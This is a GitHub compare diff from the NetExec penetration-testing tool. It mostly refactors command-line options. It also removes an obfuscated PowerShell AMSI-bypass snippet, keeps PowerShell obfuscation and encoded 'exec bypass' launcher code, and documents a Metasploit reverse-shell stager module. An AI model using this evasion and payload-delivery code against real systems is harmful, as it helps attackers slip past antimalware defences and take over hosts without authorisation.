mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 02:08:18 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7ece66762e | ||
|
|
81e4360004 | ||
|
|
6858958864 | ||
|
|
03e25b708f | ||
|
|
64319fdb3c | ||
|
|
8db769e290 | ||
|
|
f06d50d931 | ||
|
|
8e511c192c | ||
|
|
20e01f92eb | ||
|
|
9d70105230 | ||
|
|
69e47d15cb | ||
|
|
bd7202d2c5 | ||
|
|
63a78cb176 | ||
|
|
b6c57ce13a | ||
|
|
928b0d947e | ||
|
|
68fb2d3e86 | ||
|
|
1111e11108 | ||
|
|
d0f07b4138 | ||
|
|
53646f9d31 | ||
|
|
b855dac2b6 | ||
|
|
404bff5e26 | ||
|
|
ad923f842d | ||
|
|
49f6f9cbfd | ||
|
|
f060aeb75f | ||
|
|
630d32592e | ||
|
|
a4e9ef21ce | ||
|
|
ddb89b9a4b | ||
|
|
40862382f1 | ||
|
|
3def5487ee | ||
|
|
6b92270a38 | ||
|
|
9879edffca | ||
|
|
0983f7950e | ||
|
|
12a7fa0b2f | ||
|
|
2191deebce | ||
|
|
db41c0893a | ||
|
|
06b1e066ba | ||
|
|
9d6188eadf | ||
|
|
16508f89d4 | ||
|
|
ab23659c7f | ||
|
|
42642016ba | ||
|
|
6fdead466e | ||
|
|
d91e15413e | ||
|
|
de2541e212 | ||
|
|
dba83a43f9 | ||
|
|
4d6b3b3f71 | ||
|
|
67de1a1fa1 | ||
|
|
4afc67422a | ||
|
|
cfbfeec7a7 | ||
|
|
57f35d453c | ||
|
|
8a0dcf0429 | ||
|
|
dd7cbb6e74 | ||
|
|
85c44fa7bd | ||
|
|
7e90d8082f | ||
|
|
9b74ea59c3 | ||
|
|
1c740bd199 | ||
|
|
f530cbdc58 | ||
|
|
a07ee5f23f | ||
|
|
f3b73ffdf2 | ||
|
|
b0e9fe24f9 | ||
|
|
f58d7385aa | ||
|
|
837f9a04a2 | ||
|
|
2e73007281 | ||
|
|
cf231d5985 | ||
|
|
23a7d11eeb | ||
|
|
e10e38f152 | ||
|
|
f8655022cf | ||
|
|
d0a4afe19b | ||
|
|
ca01584f76 | ||
|
|
bda8700a58 | ||
|
|
447d1719c1 | ||
|
|
4ffcc83bcc | ||
|
|
5655e5c0fd | ||
|
|
9be17e92d9 | ||
|
|
0166a426f0 | ||
|
|
65030d7662 | ||
|
|
198f8f8a79 | ||
|
|
47b1c1f738 | ||
|
|
4bc012655d | ||
|
|
1fce072cbe | ||
|
|
c1d52364b3 | ||
|
|
2f098f2420 | ||
|
|
d2760dc287 | ||
|
|
7cf94d297b | ||
|
|
393b607a1b | ||
|
|
a98bfab28d | ||
|
|
407e707847 | ||
|
|
5e255bc17c | ||
|
|
18d519dd68 | ||
|
|
b3c1e4f5c2 | ||
|
|
45b03e78d5 | ||
|
|
65a41b8408 | ||
|
|
5197a0eaf3 | ||
|
|
cdd62033ea | ||
|
|
a2d43caa2a | ||
|
|
cd088a0bd7 | ||
|
|
736db4dbd7 | ||
|
|
6213c6456d | ||
|
|
4ae085403d | ||
|
|
e4925d301d | ||
|
|
ca3291877a | ||
|
|
0910b98af6 | ||
|
|
152958ed13 | ||
|
|
eb7707a076 | ||
|
|
913c760115 | ||
|
|
c06198807d | ||
|
|
7b5306c92c | ||
|
|
66bdcdf1ab | ||
|
|
b5bc29db25 | ||
|
|
12141907df | ||
|
|
f021cde6f4 | ||
|
|
e16a66af6d | ||
|
|
70a99a7da5 | ||
|
|
c56f08704e | ||
|
|
27a0b78a86 | ||
|
|
ca74acd1b1 | ||
|
|
27014a5b25 | ||
|
|
90877ddd63 | ||
|
|
85bcbf312c | ||
|
|
eb9bf61790 | ||
|
|
2172231729 | ||
|
|
04df1e7641 | ||
|
|
e342c3e26f | ||
|
|
b219e8f7e0 | ||
|
|
4b4036a5a1 | ||
|
|
193d49cee9 | ||
|
|
e1f4759faf | ||
|
|
e86e13f7fd | ||
|
|
c873246a11 | ||
|
|
144690d846 | ||
|
|
ee88b806b7 | ||
|
|
e37c868529 | ||
|
|
bc50a2ce87 | ||
|
|
1f2a29fb90 | ||
|
|
205b31b08a | ||
|
|
8a23958bd7 | ||
|
|
f00a3ae483 | ||
|
|
6e28e3580d | ||
|
|
2189b45c5b | ||
|
|
9aaff6fa06 | ||
|
|
9d2d1b65d1 | ||
|
|
49513cc1c3 | ||
|
|
5f454a177d | ||
|
|
7cd29c3833 | ||
|
|
282ddb6383 | ||
|
|
bcf4202076 | ||
|
|
f1e273f4c8 | ||
|
|
35fe8b33e6 | ||
|
|
160681056b | ||
|
|
3e2e57dd7a | ||
|
|
a6f09e7166 | ||
|
|
af9dfcfeb5 | ||
|
|
e06b28992d | ||
|
|
0d1b4537a0 | ||
|
|
5cf6d55679 |
No files matched your search
File renamed without changes.
@@ -67,8 +67,10 @@ a = Analysis(
|
||||
'dploot.triage.browser',
|
||||
'dploot.triage.credentials',
|
||||
'dploot.triage.masterkeys',
|
||||
'dploot.triage.mobaxterm',
|
||||
'dploot.triage.backupkey',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
|
||||
+63
-43
@@ -9,6 +9,7 @@ import nxc
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
from nxc.logger import nxc_logger, setup_debug_logging
|
||||
import importlib.metadata
|
||||
|
||||
@@ -21,10 +22,32 @@ def gen_cli_args():
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "nxc4u"
|
||||
CODENAME = "ItsAlwaysDNS"
|
||||
COMMIT = "kali"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
parser = argparse.ArgumentParser(description=rf"""
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description=rf"""
|
||||
. .
|
||||
.| |. _ _ _ _____
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
@@ -42,54 +65,47 @@ def gen_cli_args():
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
{highlight('Commit', 'red')} : {highlight(COMMIT)}
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
""",
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
parents=[generic_parser, output_parser, dns_parser]
|
||||
)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
||||
dns_parser = parser.add_argument_group("DNS")
|
||||
dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
|
||||
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
|
||||
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False)
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
|
||||
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
|
||||
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -97,7 +113,7 @@ def gen_cli_args():
|
||||
try:
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
|
||||
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
|
||||
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
@@ -112,6 +128,10 @@ def gen_cli_args():
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
sys.exit(1)
|
||||
|
||||
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
|
||||
if hasattr(args, "get_output_tries"):
|
||||
args.get_output_tries = args.get_output_tries * 10
|
||||
|
||||
return args
|
||||
|
||||
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
|
||||
|
||||
|
||||
def open_config(config_path):
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
help_string = action.help
|
||||
if "%(default)" not in action.help and action.default is not SUPPRESS:
|
||||
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
|
||||
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
|
||||
help_string += " (default: %(default)s)" # NORUFF
|
||||
return help_string
|
||||
+45
-53
@@ -12,6 +12,20 @@ import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
def replace_singles(s):
|
||||
"""Replaces single quotes with a double quote
|
||||
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
|
||||
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
|
||||
|
||||
Args:
|
||||
----
|
||||
s (str): The string to replace single quotes in.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: Original string with single quotes replaced with double.
|
||||
"""
|
||||
return s.replace("'", r"\"")
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
|
||||
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
|
||||
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
|
||||
Args:
|
||||
----
|
||||
ps_command (str): The PowerShell command to be executed.
|
||||
|
||||
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
|
||||
|
||||
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
|
||||
|
||||
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
|
||||
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
|
||||
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
|
||||
|
||||
if custom_amsi:
|
||||
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
|
||||
with open(custom_amsi) as file_in:
|
||||
lines = list(file_in)
|
||||
amsi_bypass = "".join(lines)
|
||||
else:
|
||||
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
try{
|
||||
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
|
||||
}catch{}
|
||||
"""
|
||||
|
||||
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
|
||||
amsi_bypass = ""
|
||||
|
||||
# for readability purposes, we do not do a one-liner
|
||||
if force_ps32: # noqa: SIM108
|
||||
# https://stackoverflow.com/a/60155248
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
command = f"{amsi_bypass} {ps_command}"
|
||||
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
|
||||
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
|
||||
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
|
||||
# (https://github.com/GreatSCT/GreatSCT) <3
|
||||
|
||||
"""
|
||||
if is_powershell_installed():
|
||||
|
||||
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
|
||||
suffix='.ps1',
|
||||
dir='/tmp')
|
||||
temp.write(command)
|
||||
temp.read()
|
||||
|
||||
encoding_types = [1,2,3,4,5,6]
|
||||
while True:
|
||||
encoding = random.choice(encoding_types)
|
||||
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
|
||||
temp.name,
|
||||
encoding)
|
||||
nxc_logger.debug(invoke_obfs_command)
|
||||
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
|
||||
|
||||
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
|
||||
nxc_logger.debug('Command length: {}'.format(len(command)))
|
||||
|
||||
if len(command) <= 8192:
|
||||
temp.close()
|
||||
break
|
||||
|
||||
encoding_types.remove(encoding)
|
||||
|
||||
else:
|
||||
"""
|
||||
if not dont_obfs:
|
||||
if obfs:
|
||||
nxc_logger.debug("Obfuscating PowerShell command")
|
||||
obfs_attempts = 0
|
||||
while True:
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
|
||||
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
|
||||
obfs_command = invoke_obfuscation(command)
|
||||
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
|
||||
if len(command) <= 8191:
|
||||
break
|
||||
|
||||
if obfs_attempts == 4:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
|
||||
obfs_attempts += 1
|
||||
else:
|
||||
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
|
||||
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
|
||||
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
|
||||
command = f"powershell.exe -noni -nop -w 1 {command}"
|
||||
|
||||
if len(command) > 8191:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
nxc_logger.debug(f"Final command: {command}")
|
||||
return command
|
||||
|
||||
|
||||
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
|
||||
-------
|
||||
str: The obfuscated payload for execution.
|
||||
"""
|
||||
nxc_logger.debug(f"Command before obfuscation: {script_string}")
|
||||
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
|
||||
|
||||
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
|
||||
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
|
||||
]
|
||||
|
||||
return choice(invoke_options)
|
||||
obfuscated_script = choice(invoke_options)
|
||||
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
|
||||
return obfuscated_script
|
||||
|
||||
+3
-1
@@ -93,10 +93,12 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
|
||||
@@ -104,7 +104,7 @@ class NXCModule:
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport.sethost(self.__host)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
|
||||
@@ -1,87 +0,0 @@
|
||||
# Author:
|
||||
# Romain Bentz (pixis - @hackanddo)
|
||||
# Website:
|
||||
# https://beta.hackndo.com [FR]
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import sys
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bh_owned"
|
||||
description = "Set pwned computer as owned in Bloodhound"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.neo4j_pass = None
|
||||
self.neo4j_user = None
|
||||
self.neo4j_Port = None
|
||||
self.neo4j_URI = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
URI URI for Neo4j database (default: 127.0.0.1)
|
||||
PORT Listening port for Neo4j database (default: 7687)
|
||||
USER Username for Neo4j database (default: 'neo4j')
|
||||
PASS Password for Neo4j database (default: 'neo4j')
|
||||
"""
|
||||
self.neo4j_URI = "127.0.0.1"
|
||||
self.neo4j_Port = "7687"
|
||||
self.neo4j_user = "neo4j"
|
||||
self.neo4j_pass = "neo4j"
|
||||
|
||||
if module_options and "URI" in module_options:
|
||||
self.neo4j_URI = module_options["URI"]
|
||||
if module_options and "PORT" in module_options:
|
||||
self.neo4j_Port = module_options["PORT"]
|
||||
if module_options and "USER" in module_options:
|
||||
self.neo4j_user = module_options["USER"]
|
||||
if module_options and "PASS" in module_options:
|
||||
self.neo4j_pass = module_options["PASS"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
|
||||
|
||||
host_fqdn = f"{connection.hostname}.{domain}".upper()
|
||||
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
|
||||
context.log.debug(f"Neo4j URI: {uri}")
|
||||
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
|
||||
|
||||
try:
|
||||
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
|
||||
except AuthError:
|
||||
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
|
||||
sys.exit()
|
||||
except ServiceUnavailable:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
sys.exit()
|
||||
except Exception as e:
|
||||
context.log.fail("Unexpected error with Neo4J")
|
||||
context.log.debug(f"Error {e}: ")
|
||||
sys.exit()
|
||||
|
||||
with driver.session() as session:
|
||||
try:
|
||||
with session.begin_transaction() as tx:
|
||||
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
|
||||
record = result.single()
|
||||
try:
|
||||
value = record.value()
|
||||
except AttributeError:
|
||||
value = []
|
||||
except ServiceUnavailable as e:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
context.log.debug(f"Error {e}: ")
|
||||
driver.close()
|
||||
sys.exit()
|
||||
if len(value) > 0:
|
||||
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
|
||||
else:
|
||||
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
|
||||
driver.close()
|
||||
+22
-22
@@ -27,6 +27,8 @@ class NXCModule:
|
||||
SRVPORT Stager port
|
||||
RAND Random string given by metasploit (if using web_delivery)
|
||||
SSL Stager server use https or http (default: https)
|
||||
|
||||
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
|
||||
|
||||
multi/handler method that don't require RAND:
|
||||
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
|
||||
@@ -35,8 +37,11 @@ class NXCModule:
|
||||
windows/x64/powershell_reverse_tcp_ssl
|
||||
Web Delivery Method (exploit/multi/script/web_delivery):
|
||||
Set SRVHOST and SRVPORT
|
||||
Set target 2 (PSH)
|
||||
Set payload to what you want (windows/meterpreter/reverse_https, etc)
|
||||
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
|
||||
check compatabile payloads with `show payloads`
|
||||
Optional: SET URIPATH {custom}
|
||||
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
|
||||
"""
|
||||
self.met_ssl = "https"
|
